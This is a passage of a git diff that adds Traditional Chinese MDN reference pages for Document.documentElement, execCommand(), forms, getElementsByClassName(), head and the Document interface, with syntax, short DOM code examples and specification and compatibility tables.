+<h2 id="See_also" name="See_also">參考</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">designMode property</a> on MSDN</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/documentelement/index.html b/files/zh-tw/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..aa3f5db82d
--- /dev/null
+++ b/files/zh-tw/web/api/document/documentelement/index.html
@@ -0,0 +1,60 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.documentElement</strong></code> 會回傳目前文件（{{domxref("document")}}）中的根元素（{{domxref("Element")}}），如：HTML 文件中的 <code>&lt;html&gt;</code> 元素。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var <em>element</em> = document.documentElement;
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:js">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+
+// firstTier is the NodeList of the direct children of the root element
+for (var i = 0; i &lt; firstTier.length; i++) {
+   // do something with each direct kid of the root element
+   // as firstTier[i]
+}</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>對於所有非空的 HTML 文件， <code>document.documentElement</code> 將會是一個 {{HTMLElement("html")}}  元素 ; 對於所有非空的 XML 文件，<code>document.documentElement</code> 則會是文件的根元素。</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col"> 備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/document/execcommand/index.html b/files/zh-tw/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..c06cd0d89c
--- /dev/null
+++ b/files/zh-tw/web/api/document/execcommand/index.html
@@ -0,0 +1,172 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div>
+
+<p><span class="seoSummary">當 HTML 文件（document）被切換到 <code><a href="/en-US/docs/Web/API/Document/designMode">designMode</a></code> 時，它的 <code>document</code> 物件就會對外暴露 <strong><code>execCommand</code></strong> 方法作為操控目前可編輯區域的指令，譬如 <a href="/en-US/docs/Web/HTML/Element/input">form inputs</a> 或 <code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contentEditable</a></code> 元素。</span></p>
+
+<p>多數的指令會作用在文件的<a href="/en-US/docs/Web/API/Selection">選取</a> （粗體、斜體等），而其他則像是插入新的元素（新增一個連結）或是影響一整列的文字（縮排）。當使用 <code>contentEditable</code> 時， <code>execCommand()</code> 會作用在目前活躍的可編輯元素上。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>document</em>.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>)
+</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>如果該指令不被支援或停用將回傳一個 <code>false</code> 的 {{jsxref('Boolean')}} 值。</p>
+
+<div class="note">
+<p><strong>備註</strong>：只有在使用者互動的部分回傳 <code>true</code> 。請不要嘗試在呼叫指令前使用回傳值來確認瀏覽器是否支援。</p>
+</div>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>aCommandName</code></dt>
+ <dd>一個 {{domxref("DOMString")}} 作為指定要執行的指令。所有可用的指令列表請見 {{anch("Commands")}} 。</dd>
+ <dt><code>aShowDefaultUI</code></dt>
+ <dd>一個 {{jsxref("Boolean")}} 作為指示是否顯示預設的使用者介面。 Mozilla 並未實作這項功能。</dd>
+ <dt><code>aValueArgument</code></dt>
+ <dd>針對需要提供輸入引數的指令，藉由 {{domxref("DOMString")}} 提供相關的資訊。譬如， <code>insertImage</code> 需要提供圖片的 URL 。若沒有引數的需求則可指定為 <code>null</code> 。</dd>
+</dl>
+
+<h3 id="指令">指令</h3>
+
+<dl>
+ <dt><code>backColor</code></dt>
+ <dd>變更文件的背景色彩。在 <code>styleWithCss</code> 模式中，它作用於涵蓋區域的背景色彩。這個指令需要提供一個 {{cssxref("&lt;color&gt;")}} 值字串作為引數值。請留意， Internet Explorer 使用這個指令作為設定文字的背景色彩。</dd>
+ <dt><code>bold</code></dt>
+ <dd>切換選取區域插入點的粗體與否。 Internet Explorer 使用 {{HTMLElement("strong")}} 標籤而不是 {{HTMLElement("b")}}.</dd>
+ <dt><code>ClearAuthenticationCache</code></dt>
+ <dd>清除所有快取中的驗證憑證。</dd>
+ <dt><code>contentReadOnly</code></dt>
+ <dd>使內容文件成為唯讀或可編輯。此指令需要提供布林值 true/false 作為引數值。（Internet Explorer 不支援）。</dd>
+ <dt><code>copy</code></dt>
+ <dd>複製目前選取的區域到剪貼簿。各個瀏覽器對於這個指令的行為可能有所差異且不斷變更。如果你有使用這個指令的情境，請先查閱相容性表格來決定如何使用。</dd>
+ <dt><code>createLink</code></dt>
+ <dd>對選取的區域建立超連結，僅限於有選取內容。需要提供一個 <a href="/en-US/docs/Archive/Mozilla/URIs_and_URLs">URI</a> 字串值作為超連結的 <code>href</code> 。 URI 必須最少包含一個字元且可以是空白字元（Internet Explorer 會建立一個 <code>null</code> 值的連結）。</dd>
+ <dt><code>cut</code></dt>
+ <dd>移除目前選取的區域並複製到剪貼簿。各個瀏覽器對於這個指令的行為可能有所差異且不斷變更。使用細節請查閱<a href="#Browser_compatibility">相容性表格</a>。</dd>
+ <dt><code>decreaseFontSize</code></dt>
+ <dd>在選取區域或插入點的前後加入一個 {{HTMLElement("small")}} 標籤（ Internet Explorer 不支援）</dd>
+ <dt><code>defaultParagraphSeparator</code></dt>
+ <dd>變更可編輯文字區域於新增段落時的段落分隔器。更多細節請查閱 <a href="/zh-TW/docs/Web/Guide/HTML/Editable_content#Differences_in_markup_generation">產生 markup 的區別</a>。</dd>
+ <dt><code>delete</code></dt>
+ <dd>刪除目前選取的區域。</dd>
+ <dt><code>enableAbsolutePositionEditor</code></dt>
+ <dd>啟用或停用用於移動絕對定位元素的抓取器。這個指令在 Firefox 63 Beta/Dev 版本中預設停用（{{bug(1449564)}}）。</dd>
+ <dt><code>enableInlineTableEditing</code></dt>
+ <dd>啟用或停用表格的列 / 欄的插入及刪除。此指令在 Firefox 63 Beta/Dev 版本中預設停用 ({{bug(1449564)}})。</dd>
+ <dt><code>enableObjectResizing</code></dt>
+ <dd>啟用或停用圖片、表格、絕對定位元素、其他可重設大小物件的重設大小處理。此指令在 Firefox 63 Beta/Dev 版本中預設停用 ({{bug(1449564)}})。</dd>
+ <dt><code>fontName</code></dt>
+ <dd>變更選取區域或插入點的字型名稱。此指令需要字型名稱字串（如「Arial」）作為引數值。</dd>
+ <dt><code>fontSize</code></dt>
+ <dd>變更選取區域或插入點的字型大小。此指令需要 <code>1</code>-<code>7</code> 的整數作為引數值。</dd>
+ <dt><code>foreColor</code></dt>
+ <dd>變更選取區域或插入點的字型色彩。此指令需要十六進位的色彩字串作為引數值。</dd>
+ <dt><code>formatBlock</code></dt>
+ <dd>在目前選取區域的前後加入一個 HTML 區塊層級元素，若選取區域已經存在區塊元素則取代之。（在 Firefox 中， {{HTMLElement("blockquote")}} 是個例外——它會包裹住任何所包含的區塊元素）。 此指令需要一個標籤名稱字串作為引數值。幾乎所有區塊層級元素都可以使用（Internet Explorer and Edge 僅支援標題標籤 <code>H1</code>–<code>H6</code> 、 <code>ADDRESS</code> 、 <code>PRE</code> 且必須由角括號包裹起來，譬如 <code>"&lt;H1&gt;"</code> ）。</dd>
+ <dt><code>forwardDelete</code></dt>
+ <dd>刪除游標位置後的字元，等同於在 Windows 按下 Delete 鍵盤按鍵。</dd>
+ <dt><code>heading</code></dt>
+ <dd>在選取區域或插入點前後加入一個標題元素。此指令需要標籤名稱字串作為引數值（例：<code>"H1"</code>, <code>"H6"</code> ）（Internet Explorer 及 Safari 不支援）。</dd>
+ <dt><code>hiliteColor</code></dt>
+ <dd>變更選取區域或插入點的背景色彩。此指令需要一個色彩字串作為引數值。 <code>useCSS</code> 必須為 <code>true</code> 才能有作用（Internet Explorer 不支援）。</dd>
+ <dt><code>increaseFontSize</code></dt>
+ <dd>在選取區域或插入點前後加入一個 {{HTMLElement("big")}} 標題（Internet Explorer 不支援）。</dd>
+ <dt><code>indent</code></dt>
+ <dd>縮排選取區域或插入點所包含的列。在 Firefox ，如果選取的範圍跨越多列且不同的縮排層級，只有選取中最淺層縮排列的才會被縮排。</dd>
+ <dt><code>insertBrOnReturn</code></dt>
+ <dd>控制 Enter 按鍵按下時在目前區塊元素中插入 {{HTMLElement("br")}} 元素或分割成為兩個元素（Internet Explorer 不支援）。</dd>
+ <dt><code>insertHorizontalRule</code></dt>
+ <dd>在插入點插入一個 {{HTMLElement("hr")}} 元素或以它取代選取的內容。</dd>
+ <dt><code>insertHTML</code></dt>
+ <dd>在插入點插入一個 HTML 字串（會刪除選取內容）需要一個有效的 HTML 字串作為引數值（Internet Explorer 不支援）。</dd>
+ <dt><code>insertImage</code></dt>
+ <dd>在插入點插入一個圖片（會刪除選取內容）。需要一個 URL 字串作為圖片的 <code>src</code> 引數值。這個需求跟 <code>createLink</code> 的字串是一樣的。</dd>
+ <dt><code>insertOrderedList</code></dt>
+ <dd>在選取區域或插入點建立一個<a href="/zh-TW/docs/Web/HTML/Element/ol">有序的清單</a>。</dd>
+ <dt><code>insertUnorderedList</code></dt>
+ <dd>在選取區域或插入點建立一個<a href="/zh-TW/docs/Web/HTML/Element/ul">無序的清單</a>。</dd>
+ <dt><code>insertParagraph</code></dt>
+ <dd>在選取區域或目前列的前後插入<a href="/zh-TW/docs/Web/HTML/Element/p">段落</a>（Internet Explorer 會在插入點插入段落並刪除選取的內容）。</dd>
+ <dt><code>insertText</code></dt>
+ <dd>在插入點處插入給予的純文字（選取內容將被刪除）。</dd>
+ <dt><code>italic</code></dt>
+ <dd>切換選取區域或插入點的斜體開關（Internet Explorer 使用 {{HTMLElement("em")}} 元素而不是 {{HTMLElement("i")}} ）。</dd>
+ <dt><code>justifyCenter</code></dt>
+ <dd>置中對齊選取區域或插入點的內容。</dd>
+ <dt><code>justifyFull</code></dt>
+ <dd>左右對齊選取區域或插入點的內容。</dd>
+ <dt><code>justifyLeft</code></dt>
+ <dd>靠左對齊選取區域或插入點的內容。</dd>
+ <dt><code>justifyRight</code></dt>
+ <dd>靠右對齊選取區域或插入點的內容。</dd>
+ <dt><code>outdent</code></dt>
+ <dd>凸排選取區域或插入點所包含的列。</dd>
+ <dt><code>paste</code></dt>
+ <dd>在目前的插入點貼上剪貼簿的內容（取代目前選取的項目）。網頁內容無法使用。詳閱 [1]。</dd>
+ <dt><code>redo</code></dt>
+ <dd>復原上一個取消的指令。</dd>
+ <dt><code>removeFormat</code></dt>
+ <dd>移除目前選取區域所有的格式。</dd>
+ <dt><code>selectAll</code></dt>
+ <dd>選取可編輯區域的所有內容。</dd>
+ <dt><code>strikeThrough</code></dt>
+ <dd>切換選取區域或插入點的刪除線開關。</dd>
+ <dt><code>subscript</code></dt>
+ <dd>切換選取區域或插入點的 <a href="/zh-TW/docs/Web/HTML/Element/sub">subscript</a> 開關。</dd>
+ <dt><code>superscript</code></dt>
+ <dd>切換選取區域或插入點的 <a href="/zh-TW/docs/Web/HTML/Element/sup">superscript</a> 開關。</dd>
+ <dt><code>underline</code></dt>
+ <dd>切換選取區域或插入點的<a href="/zh-TW/docs/Web/HTML/Element/u">底線</a>開關。</dd>
+ <dt><code>undo</code></dt>
+ <dd>取消上一個執行的指令。</dd>
+ <dt><code>unlink</code></dt>
+ <dd>從選取的超連結刪除<a href="/zh-TW/docs/Web/HTML/Element/a">錨點元素</a>。</dd>
+ <dt><code>useCSS</code> {{Deprecated_inline}}</dt>
+ <dd>針對產生的 markup 使用 HTML 標籤或 CSS。此指令需要一個布林值 true/false 作為引數值。</dd>
+ <dd>注意：這個引述在邏輯上是反向的（舉例：使用 <code>false</code> 會使用 CSS ，反之使用 <code>true</code> 則使用 HTML 且 Internet Explorer 不支援。這個指令已經被棄用並由 <code>styleWithCSS</code> 取而代之。</dd>
+ <dt><code>styleWithCSS</code></dt>
+ <dd>取代 <code>useCSS</code> 的指令。 <code>true</code> 會在 markup 修改 / 產生 <code>style</code> 屬性， false 會產生展示用的元素。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>一個在 CodePen 上展示<a href="https://codepen.io/chrisdavidmills/full/gzYjag/">如果使用</a>的範例。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/editing/execCommand.html#execcommand()">execCommand</a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Document.execCommand")}}</p>
+
+<h2 id="相關資訊">相關資訊</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/zh-TW/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/forms/index.html b/files/zh-tw/web/api/document/forms/index.html
new file mode 100644
index 0000000000..769d80871c
--- /dev/null
+++ b/files/zh-tw/web/api/document/forms/index.html
@@ -0,0 +1,75 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>forms</code> 屬性會回傳一個包含目前頁面中所有 {{HTMLElement("form")}} 元素的集合物件（型別為 {{domxref("HTMLCollection")}}）。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h2 id="Example" name="Example">範例：取得表單資訊</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="範例_2：取得表單內的元素">範例 2：取得表單內的元素</h2>
+
+<pre class="brush: js">var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">參見</h2>
+
+<ul>
+ <li>{{domxref("HTMLFormElement")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/getelementsbyclassname/index.html b/files/zh-tw/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..b66647c82d
--- /dev/null
+++ b/files/zh-tw/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,127 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+tags:
+  - 待翻譯
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>針對所有給定的 class 子元素，回傳類似陣列的物件。當呼叫 document 物件時，它會搜尋整個文件，包括根節點在內。你也可以在所有元素呼叫 {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}}，那它就只會回傳含有給定 class 的特定根元素的後代元素。</p>
+
+<h2 id="Syntax" name="Syntax">表達式</h2>
+
+<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // or:
+<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><var>elements</var> 為符合 class 名稱的 {{ domxref("HTMLCollection") }}。</li>
+ <li><var>names</var> 為符合 class 名稱的字串；class 名稱可以用空白分隔。</li>
+ <li>getElementsByClassName 可以被任何不只在 document 的元素呼叫。呼叫這個方法的元素將會成為搜尋 class 的根元素。</li>
+</ul>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<p>取得所有 class 為 “test” 的元素：</p>
+
+<pre class="brush: js">document.getElementsByClassName('test');</pre>
+
+<p>取得所有 class 為 “test” 和 “red” 的元素：</p>
+
+<pre class="brush: js">document.getElementsByClassName('red test');</pre>
+
+<p>取得所有在 id 為 '“main” 的元素裡 class 為 “test” 的元素：</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>我們也可以藉由傳遞 {{ domxref("HTMLCollection") }} 為 <var>this </var>來使用 <code>Array.prototype</code> 的方法。下面的例子將會找到所有 class 為 “test” 的 div 元素：</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="取得_class_是_test_的元素">取得 class 是 test 的元素</h2>
+
+<p>這是最常用的操作方法：</p>
+
+<pre>&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p class="test"&gt;hello word2&lt;/p&gt;
+        &lt;p&gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById("parent-id");
+
+        var test=parentDOM.getElementsByClassName("test");//test is not target element
+        console.log(test);//HTMLCollection[1]
+
+        var testTarget=parentDOM.getElementsByClassName("test")[0];//year , this element is target
+        console.log(testTarget);//&lt;p class="test"&gt;hello word2&lt;/p&gt;
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.0</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document/head/index.html b/files/zh-tw/web/api/document/head/index.html
new file mode 100644
index 0000000000..7ecde675ea
--- /dev/null
+++ b/files/zh-tw/web/api/document/head/index.html
@@ -0,0 +1,114 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+translation_of: Web/API/Document/head
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>回傳當前文件的 {{HTMLElement("head")}} 元素。如果該文件有超過一個 <code>&lt;head&gt;</code> 元素，那只會回傳第一個 <code>&lt;head&gt;</code> 元素。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.head;
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: js">// in HTML: &lt;head id="my-document-head"&gt;
+var aHead = document.head;
+
+alert(aHead.id); // "my-document-head";
+
+alert( document.head === document.querySelector("head") ); // true
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p><code>document.head</code> 是「唯讀」。若是想要將 <code>document.head</code> 改成別的值會失敗，這時有些瀏覽器不會告知任何錯誤訊息；有些，例如在 <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">ECMAScript Strict 模式下</a> 的 Gecko 瀏覽器，會給出 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/TypeError">TypeError</a></code> 異常。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/index.html b/files/zh-tw/web/api/document/index.html
new file mode 100644
index 0000000000..ca1c9830b7
--- /dev/null
+++ b/files/zh-tw/web/api/document/index.html
@@ -0,0 +1,446 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+  - API
+  - DOM
+  - Gecko
+  - MakeBrowserAgnostic
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/Document
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p><span class="seoSummary"><strong><code>Document</code></strong> 介面代表所有在瀏覽器中載入的網頁，也是作為網頁內容 <a href="/en-US/docs/Using_the_W3C_DOM_Level_1_Core" title="Using_the_W3C_DOM_Level_1_Core">DOM 樹</a></span>（包含如 {{HTMLElement("body")}}、{{HTMLElement("table")}} 與其它的{{domxref("Element", "元素")}}）的進入點。<code>Document</code> 提供了網頁文件所需的通用函式，例如取得頁面 URL 或是建立網頁文件中新的元素節點等。</p>
+
+<p>{{inheritanceDiagram}}</p>
+
+<p><code>Document</code> 介面描述了各種類型文件的共同屬性與方法。根據文件的類型（如 <a href="/zh-TW/docs/HTML" title="HTML">HTML</a>、<a href="/zh-TW/docs/XML" title="XML">XML</a>、SVG 等），也會擁有各自的 API：HTML 文件（content type 為 <code>text/html</code>）實作了 {{domxref("HTMLDocument")}} 介面，而 XML 及 SVG 文件實作了 {{domxref("XMLDocument")}} 介面。</p>
+
+<p>請注意 <code>window.document</code> 物件為 <code>HTMLDocument</code> 所建構。</p>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<p><em>這個介面繼承了  {{domxref("Node")}} 以及 {{domxref("EventTarget")}} 介面。</em></p>
+
+<dl>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>Provides access to all elements with an <code>id</code>. This is a legacy, non-standard interface and you should use the {{domxref("document.getElementById()")}} method instead.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>Used with {{domxref("Document.load")}} to indicate an asynchronous request.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt>
+ <dd>Returns the character set being used by the document.</dd>
+ <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>Alias of {{domxref("Document.characterSet")}}. Use this property instead.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Indicates whether the document is rendered in <em>quirks</em> or <em>strict</em> mode.</dd>
+ <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns the Content-Type from the MIME Header of the current document.</dd>
+ <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt>
+ <dd>回傳目前文件的 Document Type Definition（DTD）。</dd>
+ <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt>
+ <dd>回傳當前文件 {{domxref("Document")}} 的根元素。以 HTML documents為例：它會回傳 {{HTMLElement("html")}} 這項元素。</dd>
+ <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt>
+ <dd>Returns the document location as a string.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>Should return a {{domxref("DOMConfiguration")}} object.</dd>
+ <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt>
+ <dd><code>true</code> when the document is in {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd>
+ <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt>
+ <dd>Returns the DOM implementation associated with the current document.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>Alias of {{domxref("Document.characterSet")}}. Use this property instead.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>Returns the name of the style sheet set that was last enabled. Has the value <code>null</code> until the style sheet is changed by setting the value of {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
